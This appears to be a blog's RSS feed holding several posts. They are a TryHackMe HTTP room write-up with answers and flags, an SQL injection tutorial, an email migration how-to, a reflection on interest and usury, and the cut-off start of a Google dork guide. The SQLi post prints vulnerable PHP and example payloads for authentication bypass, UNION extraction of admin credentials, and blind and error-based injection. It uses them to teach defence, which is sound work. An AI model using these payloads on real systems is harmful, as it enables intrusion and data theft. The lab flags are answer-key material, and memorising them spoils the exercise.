&lt;p&gt;Q1: Which protocol provides encrypted communication to ensure secure data transmission between a web browser and a web server?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;HTTPS&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Q2: What term describes the practice of registering domain names that are misspelt variations of popular websites to exploit user errors and potentially engage in fraudulent activities?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Typosquatting&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Q3: What part of a URL is used to pass additional information, such as search terms or form inputs, to the web server?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Query String&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: HTTP Messages&lt;/h2&gt;
&lt;p&gt;Q1: Which HTTP message is returned by the web server after processing a client’s request?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;HTTP response&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Q2: What follows the headers in an HTTP message?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Empty Line&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: HTTP Request: Request Line and Methods&lt;/h2&gt;
&lt;p&gt;Q1: Which HTTP protocol version became widely adopted and remains the most commonly used version for web communication, known for introducing features like persistent connections and chunked transfer encoding?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;HTTP/1.1&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Q2: Which HTTP request method describes the communication options for the target resource, allowing clients to determine which HTTP methods are supported by the web server?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;OPTIONS&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Q3: In an HTTP request, which component specifies the specific resource or endpoint on the web server that the client is requesting, typically appearing after the domain name in the URL?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;URL Path&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: HTTP Request: Headers and Body&lt;/h2&gt;
&lt;p&gt;Q1: Which HTTP request header specifies the domain name of the web server to which the request is being sent?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Host&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Q2: What is the default content type for form submissions in an HTTP request where the data is encoded as key=value pairs in a query string format?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;application/x-www-form-urlencoded&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Q3: Which part of an HTTP request contains additional information like host, user agent, and content type, guiding how the web server should process the request?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Request Headers&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 7: HTTP Response: Status Line and Status Codes&lt;/h2&gt;
&lt;p&gt;Q1: What part of an HTTP response provides the HTTP version, status code, and a brief explanation of the response’s outcome?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Status Line&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Q2: Which category of HTTP response codes indicates that the web server encountered an internal issue or is unable to fulfil the client’s request?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Server Error Responses&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Q3: Which HTTP status code indicates that the requested resource could not be found on the web server?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;404&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 8: HTTP Response: Headers and Body&lt;/h2&gt;
&lt;p&gt;Q1: Which HTTP response header can reveal information about the web server’s software and version, potentially exposing it to security risks if not removed?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Server&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Q2: Which flag should be added to cookies in the Set-Cookie HTTP response header to ensure they are only transmitted over HTTPS, protecting them from being exposed during unencrypted transmissions?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Secure&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Q3: Which flag should be added to cookies in the Set-Cookie HTTP response header to prevent them from being accessed via JavaScript, thereby enhancing security against XSS attacks?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;HttpOnly&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 9: Security Headers&lt;/h2&gt;
&lt;p&gt;Q1: In a Content Security Policy (CSP) configuration, which property can be set to define where scripts can be loaded from?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;script-src&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Q2: When configuring the Strict-Transport-Security (HSTS) header to ensure that all subdomains of a site also use HTTPS, which directive should be included to apply the security policy to both the main domain and its subdomains?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;includeSubDomains&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Q3: Which HTTP header directive is used to prevent browsers from interpreting files as a different MIME type than what is specified by the server, thereby mitigating content type sniffing attacks?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;nosniff&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 10: Practical Task: Making HTTP Requests&lt;/h2&gt;
&lt;p&gt;Q1: Make a &lt;strong&gt;GET&lt;/strong&gt; request to &lt;code&gt;/api/users&lt;/code&gt;. What is the flag?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*ryNu_9RfRi1wiRIaPbRJ7g.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GET&lt;/strong&gt; request to &lt;code&gt;/api/users&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*BfJzM9C_kKCC1JtVBIDScw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;THM Browser&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{YOUHAVEJUSTFOUNDTHEUSERLIST}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Q2: Make a &lt;strong&gt;POST&lt;/strong&gt; request to &lt;code&gt;/api/user/2&lt;/code&gt; and update the &lt;strong&gt;country&lt;/strong&gt; of Bob from &lt;strong&gt;UK&lt;/strong&gt; to &lt;strong&gt;US&lt;/strong&gt;. What is the flag?&lt;/p&gt;
&lt;p&gt;Set the parameter for the country to ‘US’.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*Ul9olL7HLqDTOfKU0IrrZQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Parameters&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*ERdjFQAAPG6euCNAtjOlAg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;POST&lt;/strong&gt; request to &lt;code&gt;/api/user/2&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{YOUHAVEMODIFIEDTHEUSERDATA}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Make a &lt;strong&gt;DELETE&lt;/strong&gt; request to &lt;code&gt;/api/user/1&lt;/code&gt; to delete the user. What is the flag?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*CBXPGZ6dmVkDrB_4lLiSIw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DELETE&lt;/strong&gt; request to &lt;code&gt;/api/user/1&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;YOUHAVEJUSTDELETEDAUSER&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 11: Conclusion&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;Thank you for reading. I hope it was useful.&lt;/p&gt;</content:encoded><h:img src="/_astro/image.eCYpgMgZ.png"/><enclosure url="/_astro/image.eCYpgMgZ.png"/></item><item><title>A Practical Guide to Understanding and Mitigating SQLi</title><link>https://farros.co/blog/a-practical-guide-to-understanding-and-mitigating-sqli/</link><guid isPermaLink="true">https://farros.co/blog/a-practical-guide-to-understanding-and-mitigating-sqli/</guid><description>A Practical Guide to Understanding and Mitigating SQL Injection Risks.</description><pubDate>Thu, 02 Jan 2025 02:48:26 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;SQL Injection (SQLi) is a critical web security vulnerability that allows attackers to manipulate SQL queries executed by an application. This attack occurs when user inputs are improperly sanitized and directly embedded into SQL statements, enabling attackers to execute arbitrary SQL commands. SQLi can lead to unauthorized access, data theft, or even complete database compromise.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;How SQL Injection Works&lt;/h2&gt;
&lt;p&gt;SQL Injection exploits the way SQL queries are constructed. When user inputs are concatenated directly into a query without proper validation, attackers can inject malicious SQL code. For example:&lt;/p&gt;
&lt;h2&gt;Vulnerable Code Example (PHP)&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;$username = $POST[&apos;username&apos;];  
$password = $POST[&apos;password&apos;];  
$query = &quot;SELECT * FROM users WHERE username = &apos;$username&apos; AND password = &apos;$password&apos;&quot;;  
$result = mysqliquery($connection, $query);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If an attacker inputs:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;- username: admin

- password: ‘ OR ‘1’=’1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The resulting query becomes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT * FROM users WHERE username = &apos;admin&apos; AND password = &apos;&apos; OR &apos;1&apos;=&apos;1&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, ‘1’=’1&apos; always evaluates to true, bypassing authentication.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Types of SQL Injection Attacks&lt;/h2&gt;
&lt;h3&gt;1. Classic SQL Injection&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Directly injects malicious SQL commands into user input fields.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Example payload: ‘ OR ‘1’=’1&apos;; —&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Union-Based SQL Injection&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Exploits the UNION operator to extract data from other tables.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Example payload:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&apos; UNION SELECT username, password FROM adminusers;--&lt;/p&gt;
&lt;h3&gt;3. Boolean-Based Blind SQL Injection&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Uses true/false conditions to infer information.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Example payload:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;&apos; AND 1=1;-- (true)&lt;/code&gt;&lt;br&gt;
&lt;code&gt;&apos; AND 1=2;-- (false)&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;4. Time-Based Blind SQL Injection&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Exploits database functions that cause delays to infer data.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Example payload:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;&apos; OR IF(1=1, SLEEP(5), 0);--&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;5. Error-Based SQL Injection&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Leverages database error messages to gather information.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Example payload:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;&apos; AND 1=CONVERT(int, (SELECT @@version));--&lt;/code&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Real-World Consequences of SQL Injection&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Data Theft: Attackers can extract sensitive data like usernames, passwords, or financial records.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Data Manipulation: Altering or deleting records, such as voiding transactions or changing account balances.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Privilege Escalation: Gaining administrative access by injecting commands that modify user privileges.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Denial of Service (DoS): Dropping tables or shutting down the database server.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;System Compromise: Executing OS-level commands through advanced techniques.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Preventing SQL Injection&lt;/h2&gt;
&lt;h3&gt;1. Parameterized Queries (Prepared Statements)&lt;/h3&gt;
&lt;p&gt;Parameterized queries separate data from code, ensuring user inputs are treated as literals rather than executable commands.&lt;/p&gt;
&lt;p&gt;Safe Code Example (PHP):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;$stmt = $connection-&gt;prepare(&quot;SELECT * FROM users WHERE username = ? AND password = ?&quot;);  
$stmt-&gt;bindparam(&quot;ss&quot;, $username, $password);  
$stmt-&gt;execute();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This approach prevents attackers from altering the query structure.&lt;/p&gt;
&lt;h3&gt;2. Input Validation and Sanitization&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Validate user inputs for expected formats (e.g., numeric fields should only accept numbers).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Reject inputs containing special characters like ‘, — , or ;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. Escaping Special Characters&lt;/h3&gt;
&lt;p&gt;Use database-specific escaping functions to neutralize special characters in user inputs.&lt;/p&gt;
&lt;p&gt;Example in PHP:&lt;/p&gt;
&lt;p&gt;$username = mysqlirealescapestring($connection, $POST[&apos;username&apos;]);&lt;/p&gt;
&lt;h3&gt;4. Stored Procedures&lt;/h3&gt;
&lt;p&gt;Stored procedures execute predefined SQL code on the server side, reducing the risk of injection if properly implemented.&lt;/p&gt;
&lt;p&gt;Example (MySQL):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE PROCEDURE GetUser(IN username VARCHAR(50), IN password VARCHAR(50))  
BEGIN  
    SELECT * FROM users WHERE username = username AND password = password;  
END;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. Least Privilege Principle&lt;/h3&gt;
&lt;p&gt;Restrict database user permissions to only what is necessary for the application. For example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The application should not have permissions to drop tables or execute administrative commands.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6. Web Application Firewalls (WAF)&lt;/h3&gt;
&lt;p&gt;Deploy a WAF to monitor and block malicious requests containing known SQL injection patterns.&lt;/p&gt;
&lt;h3&gt;7. Continuous Security Testing&lt;/h3&gt;
&lt;p&gt;Regularly perform penetration testing and use automated tools to identify vulnerabilities in your application.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Advanced Techniques for Mitigation&lt;/h2&gt;
&lt;h3&gt;Query Parameterization in Different Languages&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;PHP:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$stmt = $dbh-&gt;prepare(&quot;SELECT * FROM users WHERE id = ?&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Python:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;cursor.execute(&quot;SELECT * FROM users WHERE id = %s&quot;, (userid,))
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Java:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;PreparedStatement ps = conn.prepareStatement(&quot;SELECT * FROM users WHERE id = ?&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Escaping User Inputs for Specific Databases&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;MySQL: Use mysqlrealescapestring() to escape special characters in input strings.&lt;/li&gt;
&lt;li&gt;PostgreSQL: Use pgescapestring() to properly handle input.&lt;/li&gt;
&lt;li&gt;SQLite: Use sqliteescapestring() for input sanitization.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Common Mistakes in Mitigation&lt;/h2&gt;
&lt;h3&gt;1. Relying on Client-Side Validation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Attackers can bypass client-side checks using tools like Burp Suite or directly modifying HTTP requests.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Using Blacklists for Input Validation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Blacklists are incomplete and can be bypassed with creative payloads.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. Improperly Written Stored Procedures&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Stored procedures must also validate inputs; otherwise, they remain vulnerable.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Safe Example&lt;/h2&gt;
&lt;p&gt;Here is a safe way to implement and run code using prepared statements with MySQLi, the following example is using a simple PHP web page with a form to simulate a login process. The form will allow you to enter a username and password, and the PHP script will handle the request and check the credentials against a MySQL database:&lt;/p&gt;
&lt;h3&gt;1. HTML Form and PHP Code (Single File)&lt;/h3&gt;
&lt;p&gt;Save this code in a file, e.g., login.php:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;?php  
// Handle form submission  
if ($SERVER[&apos;REQUESTMETHOD&apos;] === &apos;POST&apos;) {  
    // Database connection  
    $connection = new mysqli(&apos;localhost&apos;, &apos;yourdbuser&apos;, &apos;yourdbpassword&apos;, &apos;yourdbname&apos;);  
  
    // Check for connection errors  
    if ($connection-&gt;connecterror) {  
        die(&quot;Connection failed: &quot; . $connection-&gt;connecterror);  
    }  
  
    // Get username and password from POST request  
    $username = $POST[&apos;username&apos;];  
    $password = $POST[&apos;password&apos;];  
  
    // Prepare and execute query  
    $stmt = $connection-&gt;prepare(&quot;SELECT * FROM users WHERE username = ? AND password = ?&quot;);  
    $stmt-&gt;bindparam(&quot;ss&quot;, $username, $password);  
    $stmt-&gt;execute();  
    $result = $stmt-&gt;getresult();  
  
    // Check login result  
    if ($result-&gt;numrows &gt; 0) {  
        $message = &quot;Login successful!&quot;;  
    } else {  
        $message = &quot;Invalid username or password.&quot;;  
    }  
  
    // Close the statement and connection  
    $stmt-&gt;close();  
    $connection-&gt;close();  
}  
?&gt;&amp;#x3C;!DOCTYPE html&gt;  
&amp;#x3C;html lang=&quot;en&quot;&gt;  
&amp;#x3C;head&gt;  
    &amp;#x3C;meta charset=&quot;UTF-8&quot;&gt;  
    &amp;#x3C;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;  
    &amp;#x3C;title&gt;Login Simulation&amp;#x3C;/title&gt;  
&amp;#x3C;/head&gt;  
&amp;#x3C;body&gt;  
    &amp;#x3C;h1&gt;Login Simulation&amp;#x3C;/h1&gt;    &amp;#x3C;?php if (!empty($message)): ?&gt;        &amp;#x3C;p&gt;&amp;#x3C;?php echo htmlspecialchars($message); ?&gt;&amp;#x3C;/p&gt;    &amp;#x3C;?php endif; ?&gt;    &amp;#x3C;form method=&quot;POST&quot; action=&quot;&quot;&gt;  
        &amp;#x3C;label for=&quot;username&quot;&gt;Username:&amp;#x3C;/label&gt;  
        &amp;#x3C;input type=&quot;text&quot; id=&quot;username&quot; name=&quot;username&quot; required&gt;  
        &amp;#x3C;br&gt;&amp;#x3C;br&gt;  
        &amp;#x3C;label for=&quot;password&quot;&gt;Password:&amp;#x3C;/label&gt;  
        &amp;#x3C;input type=&quot;password&quot; id=&quot;password&quot; name=&quot;password&quot; required&gt;  
        &amp;#x3C;br&gt;&amp;#x3C;br&gt;  
        &amp;#x3C;button type=&quot;submit&quot;&gt;Login&amp;#x3C;/button&gt;  
    &amp;#x3C;/form&gt;  
&amp;#x3C;/body&gt;  
&amp;#x3C;/html&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Instructions to Simulate the Web Application&lt;/h3&gt;
&lt;h3&gt;1. Create a Database and Table&lt;/h3&gt;
&lt;p&gt;Run this SQL to create a database and a table for testing&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE DATABASE testdb;  
USE testdb;  
  
CREATE TABLE users (  
    id INT AUTOINCREMENT PRIMARY KEY,  
    username VARCHAR(50) NOT NULL,  
    password VARCHAR(255) NOT NULL  
);  
  
INSERT INTO users (username, password) VALUES (&apos;testuser&apos;, &apos;testpassword&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Replace Database Credentials&lt;/h3&gt;
&lt;p&gt;Update the mysqli connection code in the PHP script&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;$connection = new mysqli(&apos;localhost&apos;, &apos;root&apos;, &apos;your password&apos;, &apos;testdb&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Run a Local PHP Server&lt;/h3&gt;
&lt;p&gt;Save the file as login.php and start a PHP server in the directory where it is saved&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;php -S localhost:8000
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Access the Application in a Browser&lt;/h3&gt;
&lt;p&gt;Open a browser and go to &lt;a href=&quot;http://localhost:8000/login.php.&quot;&gt;http://localhost:8000/login.php.&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;5. Test the Login&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Enter the username testuser and password testpassword to log in successfully.&lt;/li&gt;
&lt;li&gt;Try invalid credentials to see the error message.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;SQL Injection is a powerful attack vector with potentially devastating consequences if left unaddressed. By adopting best practices such as parameterized queries, input validation, and least privilege principles, developers can effectively mitigate this threat and secure their applications against exploitation.&lt;/p&gt;</content:encoded><h:img src="/_astro/image.BFNtz39N.png"/><enclosure url="/_astro/image.BFNtz39N.png"/></item><item><title>Migrate Email Using IMAP Async with Only One Active Domain</title><link>https://farros.co/blog/migrate-email-using-imap-async-with-only-one-active-domain/</link><guid isPermaLink="true">https://farros.co/blog/migrate-email-using-imap-async-with-only-one-active-domain/</guid><description>How to Migrate Email Using IMAP Async with Only One Active Domain.</description><pubDate>Wed, 20 Nov 2024 05:04:18 GMT</pubDate><content:encoded>&lt;hr&gt;
&lt;p&gt;Here, I would like to share my experience of migrating the company’s email hosting. Previously, we subscribed to email hosting through &lt;a href=&quot;http://emailkerja.id&quot;&gt;emailkerja.id&lt;/a&gt; service. This service was quite good and affordable because it only limited storage capacity to 69 GB, but it provided unlimited domains and mailboxes. This allowed us to add multiple domains and mailboxes as long as the storage capacity was sufficient.&lt;/p&gt;
&lt;p&gt;As time went by, we became more intensive in conducting email marketing to contact many companies, especially those related to EPC (Engineering, Procurement, and Construction). Therefore, we needed a more robust email server with greater capacity. This prompted us to migrate our email hosting. Of course, the main challenge we faced was how to move old emails.&lt;/p&gt;
&lt;p&gt;After considering several options, we ultimately decided to migrate to Hostinger’s Business Starter Email service (with 10 GB of storage per account). Although we initially wanted to use Microsoft 365 or Google Workspace email hosting, we chose Hostinger for cost efficiency. If we needed more storage, we could export the data to a local file.&lt;/p&gt;
&lt;p&gt;The migration process involves connecting the domain through DNS by using MX Record, SPF Record, DKIM Record, and DMARC Record. These can be activated as usual, but with the note that the MX Record must prioritize the new email hosting, or ideally, only the MX Record at the new hosting should be active, as email reception has shifted to the new hosting. Once the DNS is connected, we can begin the synchronization (sync) process to copy old emails from the old hosting to the new hosting.&lt;/p&gt;
&lt;p&gt;Here is the status showing that the connection has successfully been established with Hostinger,&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*Wy9vu_RXXHb8QZJnVQgEkA.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;while still being connected to the previous hosting (&lt;a href=&quot;http://emailkerja.id&quot;&gt;emailkerja.id&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*cK4PosIgT8xROdZoN1tpNQ.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Once connected and with the note that the MX Record must be prioritized at the new hosting, we can access the IMAP Async process online to synchronize the emails. This process is much easier to coordinate with the company team compared to instructing colleagues to manually back up and restore emails using Outlook Classic/365. This is because not everyone has that version, considering that Outlook is usually part of an Office bundle with a license, while the New Outlook does not support this feature.&lt;/p&gt;
&lt;p&gt;We can use the following link &lt;a href=&quot;https://imapsync.lamiral.info/X/&quot;&gt;https://imapsync.lamiral.info/X/&lt;/a&gt; to perform IMAP synchronization online (for accounts under 3 GB).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*6hAO993OOqXu2dJEMgInQw.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Here, we can enter the email address, password, and IMAP server details for both the source and destination mailboxes. Then, we can click “Sync” to start the synchronization process. There is a detailed log that can be scrolled down, and a percentage status is updated every 6 seconds to track progress.&lt;/p&gt;
&lt;p&gt;Once completed, the old emails will be copied to the new email hosting. This is easy to communicate to colleagues because they can do it independently and securely without needing IT involvement, as they can input their own password.&lt;/p&gt;
&lt;p&gt;However, if the account’s storage exceeds 3 GB, we need to access the email import feature provided by the email hosting service. Hostinger offers this feature for accounts with storage exceeding 3 GB, enabling email migration.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/800/1*oeQo5IIKmc1lfcmCAMYnmg.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Once completed, we can see that all the emails have been copied to the new hosting, and we can now use the new email hosting for sending and receiving emails.&lt;/p&gt;
&lt;p&gt;Thank you. I hope this information is useful.&lt;/p&gt;</content:encoded><h:img src="/_astro/image.CPzgXs4O.png"/><enclosure url="/_astro/image.CPzgXs4O.png"/></item><item><title>Financial Mathematics: Interest and Usury</title><link>https://farros.co/blog/financial-mathematics-interest-and-usury/</link><guid isPermaLink="true">https://farros.co/blog/financial-mathematics-interest-and-usury/</guid><description>&apos;Financial Mathematics: Interest and Usury.&apos;</description><pubDate>Fri, 25 Oct 2024 02:49:59 GMT</pubDate><content:encoded>&lt;p&gt;My experience as a student in the Bachelor of Statistics department who took a financial mathematics class has opened up my awareness and insight into how the modern financial system works.&lt;/p&gt;
&lt;h2&gt;Simple Interest vs Compound Interest&lt;/h2&gt;
&lt;p&gt;Interest is divided into 2 types, which is single interest and compound interest where single interest is only calculated from the initial principal on a fixed basis, while compound interest is calculated from the initial principal and previous interest so that the accumulated interest grows exponentially.&lt;/p&gt;
&lt;p&gt;Banks and financial institutions almost all apply compound interest to loans and installments. This is a problem because of the convenience if we take installments with a long tenor because in the long term it will provide great benefits to financial institutions, but it is actually burdensome for customers.&lt;/p&gt;
&lt;h2&gt;Student Dilemma&lt;/h2&gt;
&lt;p&gt;Many of my friends aspire to work in banks because of the high salaries, prestigious positions, career prospects, and various facilities, such as interest relief given as an employee there. However, after studying the financial mathematics class, this is actually questioned about how the ethical and moral principles are implemented in the job?. Because in terms of usury calculations, it can harm the lower and middle classes.&lt;/p&gt;
&lt;p&gt;This article is written as a reflection and consideration for students who wish to continue from the education phase to the career level phase.&lt;/p&gt;</content:encoded><h:img src="/_astro/image.B6oEL0rQ.png"/><enclosure url="/_astro/image.B6oEL0rQ.png"/></item><item><title>Comprehensive Guide to Google Dork Operators and Their Usage</title><link>https://farros.co/blog/comprehensive-guide-to-google-dork-operators-and-their-usage/</link><guid isPermaLink="true">https://farros.co/blog/comprehensive-guide-to-google-dork-operators-and-their-usage/</guid><description>Comprehensive Guide to Google Dork Operators and Their Usage.</description><pubDate>Thu, 17 Oct 2024 10:19:25 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Google Dorking is a powerful technique that allows users to perform better and more sophisticated searches by utilizing certain operators within Google Search. Originally intended for research and SEO, Google Dorks have evolved to play a role in cybersecurity by exposing data that has been inadvertently left accessible online. This includes sensitive directories, login portals, and files containing personal or confidential information. Here are some of the main types of data that Google Dorking can reveal:&lt;/p&gt;
&lt;h2&gt;Types of Information Discoverable Using Google Dorks&lt;/h2&gt;
&lt;ul&gt;
